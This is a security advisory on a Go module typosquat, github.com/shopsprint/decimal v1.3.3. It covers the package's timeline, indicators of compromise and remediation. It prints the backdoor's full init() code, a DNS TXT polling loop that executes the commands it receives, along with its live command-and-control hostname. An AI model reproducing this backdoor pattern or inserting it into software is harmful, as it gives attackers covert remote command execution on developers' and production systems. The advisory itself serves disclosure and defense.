critical
CVE
Not assigned
CWE
CWE-506, CWE-78
Affected Surface
github.com/shopsprint/decimal v1.3.3, Go projects that mistyped github.com/shopspring/decimal as github.com/shopsprint/decimal, CI runners, developer workstations, and production Go binaries importing the typosquat, Go module caches and internal mirrors retaining the malicious version
Socket disclosed a long-running Go module typosquat published as github.com/shopsprint/decimal, differing by one character from the legitimate github.com/shopspring/decimal decimal arithmetic library. The real shopspring/decimal package is widely used in financial, billing, crypto, and analytics systems because fixed-point decimal arithmetic avoids float64 rounding problems.
The typosquat preserved the legitimate API surface, so projects that imported the wrong path could continue compiling and passing arithmetic tests. The malicious behavior lived outside the decimal logic and triggered during Go package initialization.
This is the affected package:
- malicious module:
github.com/shopsprint/decimal - malicious version:
v1.3.3 - legitimate module:
github.com/shopspring/decimal
Any Go binary that imports github.com/shopsprint/decimal@v1.3.3 and runs should be treated as compromised.
Trust-then-poison timeline
The typosquat existed for years before it was weaponized:
v1.0.0on 2017-11-08: mirror-only copyv1.0.1on 2018-03-01: mirror-only copyv1.1.0on 2018-07-09: mirror-only copyv1.2.0on 2020-04-28: mirror-only copyv1.3.0on 2021-10-13: mirror-only copyv1.3.1on 2021-10-20: mirror-only copyv1.3.2on 2023-08-19: copied upstream bugfixesv1.3.3on 2023-08-19: added the backdoor
That pattern is important for dependency review. A simple “package existed for years” check would not have caught this. The malicious version appeared after a benign-looking update, and it kept the package useful enough that consumers may not have noticed a functional regression.
Import-time execution
The entire payload fits into the decimal package source. Version v1.3.3 adds imports that do not belong in a deterministic decimal arithmetic library:
import (
"net"
"os/exec"
"time"
)
It then adds an init() function:
func init() {
go func() {
for {
records, err := net.LookupTXT("dnslog-cdn-images.freemyip.com")
if err != nil {
time.Sleep(5 * time.Minute)
continue
}
for _, txt := range records {
cmd := exec.Command(txt)
cmd.CombinedOutput()
}
time.Sleep(5 * time.Minute)
}
}()
}
Go runs package init() functions before main() and before exported functions can be used. That means a direct or transitive import is enough. Application code does not need to call a decimal function to start the background goroutine.
The command execution primitive is intentionally quiet:
- DNS failures are ignored.
- The loop sleeps for five minutes between polls.
CombinedOutput()captures and discards command output.- The goroutine survives for the lifetime of the process.
Because exec.Command(txt) does not invoke a shell, the TXT value must be a single executable name or path rather than a shell pipeline. That does not make the payload safe. The operator can point the TXT record at a staged binary, a local tool that performs useful side effects without arguments, or a previously dropped script path.
DNS TXT as command channel
The hardcoded C2 name is:
dnslog-cdn-images[.]freemyip[.]com
The payload queries TXT records, not A records or HTTPS endpoints. That makes the channel easy to miss in environments that inspect web egress but treat DNS as infrastructure noise. Free dynamic DNS also lets the operator change responses quickly without changing the package artifact.
The parent provider, freemyip[.]com, is legitimate infrastructure but has a history of abusive subdomains. Blocking the full provider may not be feasible everywhere, but TXT lookups from build agents or production services to free dynamic DNS zones are rare enough to alert on.
Go module proxy persistence
The original GitHub repository and owner account for github.com/shopsprint/decimal have been removed, but the malicious version can persist through Go’s module distribution model. The public Go module proxy is designed to cache modules for reproducible builds. That design helps normal builds survive upstream deletion, but it also means a malicious version can remain fetchable after the source repository disappears.
This changes the response model. Deleting the GitHub repository is not enough. Defenders need to search source code, lock data, module caches, build logs, internal proxy mirrors, and compiled binaries.
Search for the typosquat path:
rg "github.com/shopsprint/decimal" .
Also inspect Go module caches and checksums:
rg "github.com/shopsprint/decimal" "$GOMODCACHE" "$GOPATH/pkg/mod" 2>/dev/null
rg "github.com/shopsprint/decimal" go.sum
Indicators of compromise
Package indicators:
github.com/shopsprint/decimal@v1.3.3- malicious commit:
2f0ee073c6f29d66188a845592029c9b52528f04 - v1.3.3 module zip SHA-256:
dd9c0268c8944e6ddf90d4d0c81aa843785b7a9ee965faa635841ed9fc0ba086 decimal.goSHA-256:387d7ea5ca733b1e7219c943f4b461877a8df0148adfef42b1538b6c398fbb41
Source-code indicators:
net.LookupTXT("dnslog-cdn-images.freemyip.com")exec.Command(txt)time.Sleep(5 * time.Minute)- unexpected
init()in a decimal arithmetic package net,os/exec, andtimeimports in a dependency that should only perform local arithmetic
Network indicators:
dnslog-cdn-images[.]freemyip[.]comfreemyip[.]com- recurring DNS TXT lookups every five minutes from Go services, CI runners, or developer workstations
Compiled binary triage can look for the combination of decimal symbols, net.LookupTXT, os/exec.Command, and the dynamic DNS hostname. That combined signal is much stronger than searching for any one generic Go runtime symbol.
Remediation
Replace every import of github.com/shopsprint/decimal with the canonical github.com/shopspring/decimal, then run go mod tidy and rebuild from a clean environment.
If v1.3.3 was built or executed, treat the host as compromised. Rotate credentials available to the user or service account that ran the binary, including Git credentials, SSH keys, cloud credentials, package-registry tokens, database credentials, and CI/CD secrets.
Clear internal module mirrors and build caches that retained the malicious version. Add a deny rule for github.com/shopsprint/decimal in dependency admission controls so future typo reintroductions fail closed.
For prevention, require exact module-path review for Go dependencies. Typosquats that preserve API compatibility are hard to detect through tests, because the test suite confirms the attacker’s camouflage: the package still behaves like the library it copied.